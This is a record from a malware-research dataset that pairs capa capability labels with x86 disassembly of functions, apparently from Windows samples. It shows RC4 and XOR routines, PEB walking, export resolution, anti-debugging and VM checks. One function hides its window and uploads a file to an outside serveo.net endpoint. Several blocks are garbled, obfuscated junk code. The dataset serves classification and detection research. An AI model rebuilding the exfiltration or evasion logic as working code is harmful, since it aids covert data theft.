joyce8/EMBER2024-capa huggingface dataset:
Function at 0x881126
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], edx
push edi
mov dword [ebp - 0xc], ecx
mov eax, esi
mov byte [ebp + eax - 0x10c], al
inc eax
cmp eax, 0x100
jb 0x88113c
mov edi, esi
xor edx, edx
mov bl, byte [ebp + edi - 0x10c]
mov eax, edi
div dword [ebp - 8]
movzx eax, byte [edx + ecx]
add eax, esi
movzx ecx, bl
add ecx, eax
movzx esi, cl
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + esi - 0x10c]
mov byte [ebp + edi - 0x10c], al
inc edi
mov byte [ebp + esi - 0x10c], bl
cmp edi, 0x100
jb 0x88114d
mov edi, dword [ebp + 0xc]
xor esi, esi
mov ebx, esi
test edi, edi
je 0x8811ea
mov eax, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebp + ebx - 0x10c]
movzx eax, dl
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x10c]
mov byte [ebp + ebx - 0x10c], al
mov byte [ebp + esi - 0x10c], dl
movzx ecx, byte [ebp + ebx - 0x10c]
movzx eax, dl
add ecx, eax
mov eax, dword [ebp + 0xc]
movzx ecx, cl
mov cl, byte [ebp + ecx - 0x10c]
xor byte [eax], cl
inc eax
mov dword [ebp + 0xc], eax
sub edi, 1
jne 0x88119b
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x8812f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
mov ebx, edx
cmp dword [ebp + 0xc], esi
jbe 0x881315
push edi
mov edi, dword [ebp + 8]
xor edx, edx
mov eax, esi
div ebx
mov al, byte [edx + ecx]
xor byte [esi + edi], al
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x881302
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x8817ba
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
push edi
mov edx, 0x811c9dc5
call fcn.0088173c
mov edi, eax
xor esi, esi
test edi, edi
je 0x8817df
movsx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc esi
cmp esi, edi
jb 0x8817ce
pop edi
mov eax, edx
pop esi
ret

Function at 0x882725
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x882756
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [0x4b21f8]
mov eax, 0x5a4d
mov dword [ebp - 4], edx
cmp word [esi], ax
je 0x882775
xor eax, eax
jmp 0x8827d6
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x882771
mov ecx, 0x2000
push edi
test word [eax + 0x16], cx
je 0x8827d3
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x8827d3
xor edi, edi
cmp dword [eax + 0x7c], edi
je 0x8827d3
mov ebx, dword [ecx + esi + 0x1c]
mov edx, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 8], edx
lea eax, [ebx + esi]
mov dword [ebp - 0x10], eax
mov eax, dword [ecx + esi + 0x24]
add eax, esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x8827d3
mov ecx, dword [edx + edi*4]
add ecx, esi
call fcn.00882739
cmp eax, dword [ebp - 4]
je 0x8827dc
mov edx, dword [ebp - 8]
inc edi
cmp edi, ebx
jb 0x8827bc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x8827d5

Function at 0x892c51
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00892ad0
Function at 0x8d0bf0
Capabilities:
Contain obfuscated stackstrings
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
sub esp, 0x48
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x10]
cmp ebx, esi
je 0x8d0d52
cmp edi, esi
je 0x8d0d52
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
add eax, edi
mov dword [ebp - 0x48], 0x44434241
mov dword [ebp - 0x44], 0x48474645
mov dword [ebp - 0x40], 0x4c4b4a49
mov dword [ebp - 0x3c], 0x504f4e4d
mov dword [ebp - 0x38], 0x54535251
mov dword [ebp - 0x34], 0x58575655
mov dword [ebp - 0x30], 0x62615a59
mov dword [ebp - 0x2c], 0x66656463
mov dword [ebp - 0x28], 0x6a696867
mov dword [ebp - 0x24], 0x6e6d6c6b
mov dword [ebp - 0x20], 0x7271706f
mov dword [ebp - 0x1c], 0x76757473
mov dword [ebp - 0x18], 0x7a797877
mov dword [ebp - 0x14], 0x33323130
mov dword [ebp - 0x10], 0x37363534
mov dword [ebp - 0xc], 0x2f2b3938
mov dword [ebp - 4], esi
mov ecx, edi
mov dword [ebp - 8], eax
cmp edx, esi
jbe 0x8d0d42
add edi, 4
jmp 0x8d0ca3
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x8d0cb8
mov dword [ebp - 4], 2
jmp 0x8d0cd9
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x8d0ccf
mov dword [ebp - 4], 1
jmp 0x8d0cd9
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x8d0d52
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x48]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x48]
mov byte [ecx + 1], bl
mov ebx, dword [ebp - 4]
cmp ebx, 1
jbe 0x8d0d10
mov byte [ecx + 2], 0x3d
jmp 0x8d0d1d
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x48]
mov byte [ecx + 2], al
add ecx, 3
add edi, 3
test ebx, ebx
je 0x8d0d2c
mov byte [ecx], 0x3d
jmp 0x8d0d32
mov dl, byte [ebp + edx - 0x48]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x8d0ca0
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
sub ecx, edi
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x90c2c8
Capabilities:
Authenticate hmac

Disassembly:
xchg dword [esp + ebp - 0x7ceb0ead], eax
not ebp
ja 0xb4b0bb
shr bp, 0x7b
and bp, 0x41a0
Function at 0x93deec
Capabilities:
Execute anti-debugging instructions

Disassembly:
dec edx
cmc
xor edx, 0x119b388d
bswap edx
jmp 0xaf62a3
jbe 0x9ebb49
je 0xa82c57
mov ecx, dword [ebp + 8]
jmp 0xb3990e
add dword [esp + edx*2 - 0xf440ca2], edx
sub word [esp + edx - 0x7a20643], 0x32a9
shl dword [esp + edx*4 - 0x1e88196c], 0x2a
lea ecx, [ecx + edx + 0x4816fe86]
xor byte [esp + edx*8 - 0x3d1032dc], 0x66
test byte [esp + edx - 0x7a20647], 3
xchg dword [esp + edx - 0x7a2063f], ecx
mov edx, dword [esp + edx*8 - 0x3d1032e4]
call fcn.008d4820
lea edi, [edi - 1]
sub eax, 0x4cb52839
lahf
movzx ecx, byte [edi]
xor cl, bl
cmovb edx, edx
not al
cwd
inc cl
movzx eax, di
ror cl, 1
xchg dx, ax
mov eax, esp
dec cl
btc eax, edx
btr edx, ecx
rdtsc
neg cl
rdtsc
sar dl, cl
bt ax, 0x65
xor bl, cl
mov edx, ebp
push edi
cmp dh, 0xc5
btc ax, cx
sub edx, ebx
push esi
xchg al, dl
push ebx
setne dl
rol eax, cl
mov ebx, ecx
rcr ax, cl
shr al, 7
and ax, bp
mov edx, ebx
adc ah, ah
shl edx, 2
movzx eax, dx
cmovbe eax, ebp
mov eax, ebp
cmp dx, 0x552d
test ax, sp
add eax, edx
mov dword [ebp - 4], eax
clc
test esp, ebp
cmp bp, 0xb56
test ebx, ebx
jmp 0xb4db29
jne 0xb4db2f
mov eax, dword [ebp]
jmp 0xaa1f36
push eax
cmp bp, 0x8f2
cmp bp, sp
sub ebx, 1
jmp 0xa14de2
mov eax, dword [ebp + 8]
pop ebp
jmp 0xb0b1d2
call eax
mov ebp, dword [ebp - 4]
mov dword [ebp], eax
shr dx, 0x9f
pop ebx
pop esi
pop edi
lea edi, [edi - 4]
jmp 0xb3b225
dec edx
clc
not edx
test si, 0x62fd
xor ebx, edx
stc
cmc
clc
add esi, edx
push esi
ret
ret 4
mov edx, dword [edi]
test sp, 0x5f19
clc
test edx, ebp
xor edx, ebx
jmp 0x9259e5
je 0xa14de8
mov eax, dword [ebp + ebx*4]
test cl, 0x24
jmp 0xa3751e

Function at 0x983182
Capabilities:
Encode data using xor

Disassembly:
setbe byte [esp + 0x10]
setle byte [esp + 0x24]
test ecx, 0x79c02fa2
call fcn.008db0cc
rcr al, 0x38
xor eax, 0xc0fff57f
fdivr dword [eax]
inc edi
out dx, al
dec ebp
jle 0x983193
dec ebp
pop ebx
mov edi, dword [ebx - 0x643fa3d]
invalid
Function at 0x9b244f
Capabilities:
Encode data using xor

Disassembly:
xor si, 0x1403
mov esi, dword [esp + edx - 0x314a2e78]
mov ah, 0x14
mov cl, dl
mov ch, 0xce
mov dword [esp + 0x14], edi
call fcn.00bccc22
xchg edi, eax
cwde
sub byte [edx + 0x79], bh
aam 0xd4
jne 0x9b24e4
xor byte [esp + ebp*8 + 4], 0x61
stosb byte es:[edi], al
push ss
rcr byte [ebp - 0x70f169c], cl
into
xchg ebx, eax
aaa
xor byte [eax], 0x69
ja 0x9b24ba
add byte [ebx - 0x25708c62], 0x40
test dword [edi - 0x4559cf84], ebx
wait
sbb ch, byte [eax]
dec esp
add al, 0x93
jnp 0x9b24ab
sub al, 0xa1
sbb ch, byte gs:[esi]
mov dword [ecx + 0x175cd973], 0x24be8884
das
cmc
sahf
push ds
invalid
adc dword [ebx + ebx*4 + 0x75], ebp
inc eax
cmp edi, dword [edi]
insb byte es:[edi], dx
xchg ebx, eax
sub dh, bl
cwde
mov byte [eax - 0x7390bff8], ah
cmp edi, dword [edx - 0x7d]
je 0x9b2522
inc eax
outsd dx, dword [esi]
invalid
invalid
dec ebx
jbe 0x9b2455
salc
invalid
movsd dword es:[edi], dword [esi]
arpl word [ebx - 0x3218875e], sp
mov esi, 0xd478a7c7
cmpsd dword [esi], dword es:[edi]
js 0x9b24c4
sbb al, 0xd8
mov ebp, dword [esi + 0x58b4cb02]
sbb eax, 0x962b592c
cmc
pushfd
dec edi
cmpsd dword [esi], dword es:[edi]
sub bh, byte [edi + 0x72]
push 0xb7bc8533
clc
scasb al, byte es:[edi]
add eax, 0xe9f27dcf
invalid
ja 0x9b24ed
mov esi, esp
lock add dword [esi - 0x1aa763a6], edi
out 0x6a, al
sub ecx, dword [edi - 0x3da31251]
and al, byte [edx - 0x5b]
pop eax
dec ebp
cmpsb byte [esi], byte es:[edi]
out 0x61, eax
add dl, ch
mov ah, byte [edi + 0xc]
inc esi
push edi
mov dword [0x6d9a0bcc], eax
xor byte [edi], bl
jne 0x9b250a
cmp byte [eax], bh
out 0x98, eax
out 0x91, al
lock sub ch, byte [ebx + 0x21a19368]
arpl cx, si
adc eax, dword [eax - 0x71]
or dword [eax + 0x193200ba], esp
cmp dword [ebp + 7], ebp
sbb esp, eax
xor al, 0x37
inc edx
inc ebp
neg bh
imul edi, dword [edi], 0xffffff91
clc
out 0x3b, al
test dword [ebp + 0x360b4f0], edi
stosb byte es:[edi], al
cdq
sar byte [esi + 0x12], 1
jbe 0x9b258f
lds eax, [ebx - 0x22]
xchg dword [edx - 0x6ae99454], edx
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
xchg ebp, eax
imul dword [edi - 0x464b3970]
mov dword [edi], ebp
fdiv qword [ebx]
push ds
pop ebp
aam 0x39
mov dword [0xd43b7435], eax
sbb dl, 0xc4
pop eax
mov ch, 0xdf
jmp 0x6a9c4788

Function at 0xb0816c
Capabilities:
Encode data using xor

Disassembly:
add dword [esp + 8], 0x18786e
pushfd
mov eax, 0x645c016a
lea eax, [eax + eax*2 + 0xd7369db]
call fcn.00b4b610
neg edi
xor byte [edx], dl
dec esp
inc ecx
and ecx, dword [edi]
dec edx
sbb dword [edx - 0x594a73fd], esi
mov edx, 0x564a9a35
scasb al, byte es:[edi]
xchg ebp, eax
in al, dx
push es
cmp eax, dword [edi - 0x12]
out dx, al
mov dh, 0x41
daa
xor ecx, esp
jge 0x950690
iretd
sub cl, cl
test cx, 0x361d
setno cl
test cx, 0x4cab
lea ecx, [ecx*4 + 0x674556cb]
mov ecx, dword [esp + ecx - 0x54c22abf]
mov dword [esp + 0x10], eax
ja 0x95065b
pop esi
push ebp
pushfd
mov ebp, 0x5eee4fa2
movzx bp, bp
sub ebp, 0x3dca2522
push ebp
xchg dword [esp + ebp - 0x21242a74], esi
push esi
sete byte [esp + ebp*2 - 0x424854fc]
xor dword [esp + ebp*2 - 0x424854fc], 0xa9246f8
setge byte [esp + ebp*2 - 0x424854fc]
call fcn.00b366c5
Function at 0xb085b4
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
cmc
xor ecx, ebx
bswap ecx
stc
cmc
ror ecx, 1
cmp ebp, ebx
stc
cmp cx, 0x7cc0
not ecx
clc
neg ecx
ror ecx, 3
clc
xor ebx, ecx
test ch, 0x5e
add edi, ecx
jmp 0xb12731
call fcn.00ba308d
stosb byte es:[edi], al
push ebx
adc dh, byte [ebp - 0x32da2a30]
mov eax, dword [0x6aed3fc6]
inc ebp
cmp eax, 0x419d5eed
loop 0xb08585
aad 0x25
int 0xa1
invalid
popfd
xchg byte [ebp - 0x46849acb], ch
test eax, 0x791a5fb
mov eax, dword [0xa2f11936]
push edi
rdpmc
sbb al, byte [edx - 0x35e64fbf]
xchg dword [edx - 0x90d4ebd], edi
lodsb al, byte [esi]
lahf
jae 0xb085be
outsd dx, dword [esi]
test eax, 0x3ce6751c
pop esi
stosb byte es:[edi], al
pop ss
wait
mov edx, 0x6c9df53d
mov esi, 0x775ef78e
push edx
add dword [ebp - 0x48], edi
dec eax
push esi
cmp ebp, 0x52
neg byte [esi + 0x7a]
pop ecx
xor dl, byte [ebx - 0x58]
inc ebx
jnp 0xb085f3
jae 0xb085da
add al, 0xd7
aad 0xf3
stosb byte es:[edi], al
xor byte [ebx + 0x46351e47], 0x83
out 0xf6, al
stc
call 0x386224de
invalid
push edi
ret

Function at 0xb487ee
Capabilities:
Authenticate hmac

Disassembly:
jmp fcn.00b54114
add edi, ecx
jmp 0xab4def
mov dword [esp + edx - 0x1be83367], esi
test word [esp + esi - 0xa8], si
je 0x9a1fea
setb byte [esp + ebp*2 - 0x37d066fe]
test byte [esp + ebp - 0x1be83367], dh
xchg dword [esp + ebp*4 - 0x6fa0ce10], eax
mov edx, dword [esp + edx*2 - 0x37d06706]
setne byte [esp + esi - 0xc4]
cmp dword [esp + esi - 0xb0], 0x2fac012d
mov dword [esp + esi*8 - 0x674], ebp
ja 0x93bb46
and dword [esp + ebp*2 - 0x37d066fe], ebp
lea eax, [eax + ebp*4 - 0x50b28cdb]
jne 0xadc019
bswap ecx
jmp 0xbfc28e
inc ecx
neg ecx
inc ecx
stc
rol ecx, 2
inc ecx
clc
ror ecx, 1
cmp bp, bp
test eax, 0xc097892
xor ebx, ecx
jmp 0xac9df7
Function at 0xb7f7a8
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [eax]
shl dword [esp + 4], 0xe9
xor dword [esp + 4], 0x7d955de6
add byte [esp + 4], 0xf3
lea eax, [eax + 0x7d0e3453]
not dword [esp + 4]
test dword [esp + 4], 0x61d562bd
call fcn.00bbd127
mov ecx, dword [ebp]
rcr dh, cl
and dl, 0x53
lea ebp, [ebp + 4]
stc
adc dh, 0xe1
sal dh, cl
push ecx
rcl dx, cl
cmp ecx, 0x793e7281
popfd
sbb edx, 0x6502547a
inc dx
test cl, 0xb7
sub edi, 4
sal dx, 0x8e
or dh, 0xcb
shr dx, cl
mov edx, dword [edi]
test ax, bp
clc
cmp ch, ah
xor edx, ebx
bswap edx
jmp 0xa16dfe
rol edx, 1
test al, 0x35
cmp sp, sp
xor edx, 0x29f32ce0
jmp 0xb0ace8
bswap edx
stc
test edi, 0x4037488
xor edx, 0x19b1751e
neg edx
cmp dl, 0x77
test cl, 0xaf
sub edx, 0x6ba11dc1
cmp di, si
xor ebx, edx
stc
cmp ebx, 0x2c391987
add esi, edx
push esi
ret
jg 0x9a0444
setg byte [esp + edx*2 - 0x27c]
jg 0x9ca55e
add dword [esp + edi*2 - 0x3f670a54], 0xff8b33b3
xchg dword [esp + 0x40], ebp
test byte [esp + ebp*4 - 0xb], bh
cwde
sal byte [ebx - 0x780074cd], 0x6c
and al, 0x40
xor ecx, dword [ebx + 0x246c87ff]
inc eax
mov esi, dword [esp + 0x20]
test word [esp + edi - 0x1fb38518], cx
not ecx
mov edx, 0x7e86006d
movzx edi, di
mov ecx, dword [esp + edx - 0x7e860031]
call fcn.00ae8014
loopne 0xb7f7c4
sub byte [esi - 0x66fd6b16], dl
out dx, eax
push 0xaf8fde8f
test byte [ecx - 0x75], dl
xchg edi, ebp
jecxz 0xb7f7bd
out dx, al
lcall 0x9061, 0x5d3fe7af
mov dword [0x6f8f8e5e], eax
retf

Function at 0xb96337
Capabilities:
Authenticate hmac

Disassembly:
cmp byte [esp + 0x30], 0x21
jno 0xbd7f65
push dword [esp + 0x1c]
popfd
lea esp, [esp + 0x34]
ret

Function at 0xbb83c3
Capabilities:
Authenticate hmac

Disassembly:
add byte [esp + 0x24], 2
xchg dword [esp + 0x28], edx
push dword [esp + 8]
popfd
lea esp, [esp + 0x28]
ret
setb cl
add si, cx
lea esi, [edx*8 + 0x773e0b45]
jbe 0xbbebfa
shr bx, 0x36
bswap edx
lea eax, [eax + ebx + 0x59015177]
test edx, edx
not word [esp + 0x24]
jbe 0xafd354
movzx bx, dx
jb 0x9ebaa5
xchg dword [esp + ebx*2 - 0x41282b6e], eax
add dword [esp + 4], 0xff88343f
call fcn.00b429ef
add dword [eax + 0x25], 0xbb338b8b
mov byte [0x544ebb29], al
adc eax, 0x70fce217
adc dword [eax + 0x589e3440], 0x5c
invalid
Function at 0xbd6128
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + 0x10], 0x36761c1
setge byte [esp + 0x10]
sub word [esp + 0x10], 0xe65
setg byte [esp + 0x10]
setle byte [esp + 0x10]
call fcn.00973da0
sub ecx, 0x227b7e8a
clc
stc
rol ecx, 1
jmp 0xb1d433
jmp edi
not ecx
dec ecx
jmp 0xbf4ce6
lea edx, [edx + ebx - 0x5cab01a6]
sub dword [esp + 0x18], 0x54641c7f
movsx ebx, bl
call fcn.00a3a463
leave
test sp, cx
stc
jmp 0xbe1732
push 0x58634dd9
pushfd
and dword [esp + 4], 0x7367371d
xchg dword [esp + 0xc], edi
je 0x8d3fa5
push ebp
jbe 0xb6bba3
mov ebp, dword [esp + 8]
add dword [esp + ebp - 0x5063050d], 0xff8a4455
shl dword [esp + ebp - 0x50630511], 0x56
mov dword [esp + 0xc], edi
add byte [esp + ebp - 0x50630511], 0xc
and byte [esp + ebp - 0x50630511], 0x65
push edi
call fcn.0093364d
jl 0xbd61e3
push esp
jo 0xbd61f0
dec eax
outsb dx, byte [esi]
jecxz 0xbd611e
jp 0xbd61dd
test ebx, eax
mov eax, dword [ecx]
loopne 0xbd61de
invalid
aaa
invalid
jb 0xbd6200
invalid
sbb eax, 0x78341f46
inc esi
pop ds
xor al, 0x78
push eax
dec ecx
pop edi
aaa
xor byte [edi], ah
pop esi
jo 0xbd61de
loop 0xbd61d3
scasd eax, dword es:[edi]
sbb eax, 0x73708738
xchg dword [eax + 0x73], esi
imul edx, dword [edi + 0x1bc1f00c], 0x62ed2611
jo 0xbd61c0
retf
sbb ebp, ebp
invalid
add ecx, 0x4cb6605e
cmp cx, 0x513a
test ecx, ebp
neg ecx
xor ebx, ecx
test si, di
test edx, 0x235038ad
add edi, ecx
jmp 0x9f61b1
jmp edi
xor ebx, ecx
add edi, ecx
jmp 0xbe8553

Function at 0xbef8e3
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + edx - 0x7d1cffe8], edx
lea ebx, [ebx + edx - 0x7abadf5a]
not word [esp + edx - 0x7d1cffe8]
push ebx
test dword [esp + edx - 0x7d1cffe4], edx
push edi
xchg dword [esp + edx - 0x7d1cffdc], ebx
mov edx, dword [esp + edx - 0x7d1cffec]

Function at 0xbfa267
Capabilities:
Check for vm using instruction vpcext

Disassembly:
mov esi, dword [esp + esi - 0x6637ffe0]
sub dword [esp + 0x1c], 0x161b7377
call fcn.009812de
inc ebp
xor dword [ebx + 0x42], esp
wait
jge 0xbfa2c1
dec edi
push 0x594f4596
mov eax, 0x5cd67b54
cmpsd dword [esi], dword es:[edi]
mov edx, 0xbdab8551
dec eax
cdq
and cl, byte [edi - 0x76]
sbb ch, byte [edx]
aad 0x4b
xor dword [eax - 0x17], edi
into
cmpsd dword [esi], dword es:[edi]
ficom word [edx + 0xca3f10f]
push edx
in eax, 0x4f
stosd dword es:[edi], eax
int 0xe6
test edx, ebp
pop ebp
adc al, 0x74
outsb dx, byte [esi]
retf 0x8f4b
push esp
mov eax, 0x7a07a327
xchg edx, eax
je 0xbfa31e
and dword [eax], 0x8eb0d35a
cmp ch, cl
and al, 0xb4
sub eax, 0x583f2a70
out 0xba, al
int3
cmp esi, dword [eax + esi*2 + 0x3a]
rol byte [ecx + ecx*4 + 0x2795ce6f], cl
lodsb al, byte [esi]
invalid

Function at 0xc1c2c0
Capabilities:
Authenticate hmac

Disassembly:
jo fcn.00a0c4cc
mov si, word [esp + 0x15]
mov si, 0x6d13
test word [esp + 0x14], si
mov dword [esp + 0xc], esi
lea eax, [eax + esi - 0x6d0514bb]
push 0x57262cdd
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x4761a0], 1
mov dword [0x47619c], 1
mov dword [0x476198], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x47600c], eax
mov eax, dword [0x4761ac]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x4761c0]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x4761a8]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x45bcec], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x4015b3
Capabilities:
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x30
mov ebx, ecx
call sym.___main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [esp], 3
call sym._curl_global_init
call sym._curl_easy_init
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4017a1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_mime_init
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_addpart
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0x45c044
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_name
mov dword [esp + 4], str.image.bmp
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_filedata
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_addpart
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.submit
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_name
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], str.send
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._curl_mime_data
mov dword [esp + 4], 0x45c0b4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._curl_slist_append
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x2712
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], str.http:__serveo.net:3474_receive.php
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
cmp dword [ebx], 2
jne 0x401711
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], str.noexpectheader
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401711
mov dword [ebp - 0x20], 0x2727
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
mov dword [ebp - 0x24], 0x281d
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_setopt
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_perform
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401774
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._curl_easy_strerror
mov ebx, eax
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.curl_easy_perform___failed:__s_n
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._curl_easy_cleanup
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._curl_mime_free
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._curl_slist_free_all
mov dword [esp], 0
call sym._exit
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401870
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x4018b6
movzx eax, word [esp + 0x10]
cmp al, 2
jne 0x4018b0
shr ax, 8
xor edx, edx
cmp ax, 2
jne 0x4018b0
mov eax, edx
add esp, 0x1ac
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, 2
add esp, 0x1ac
mov eax, edx
ret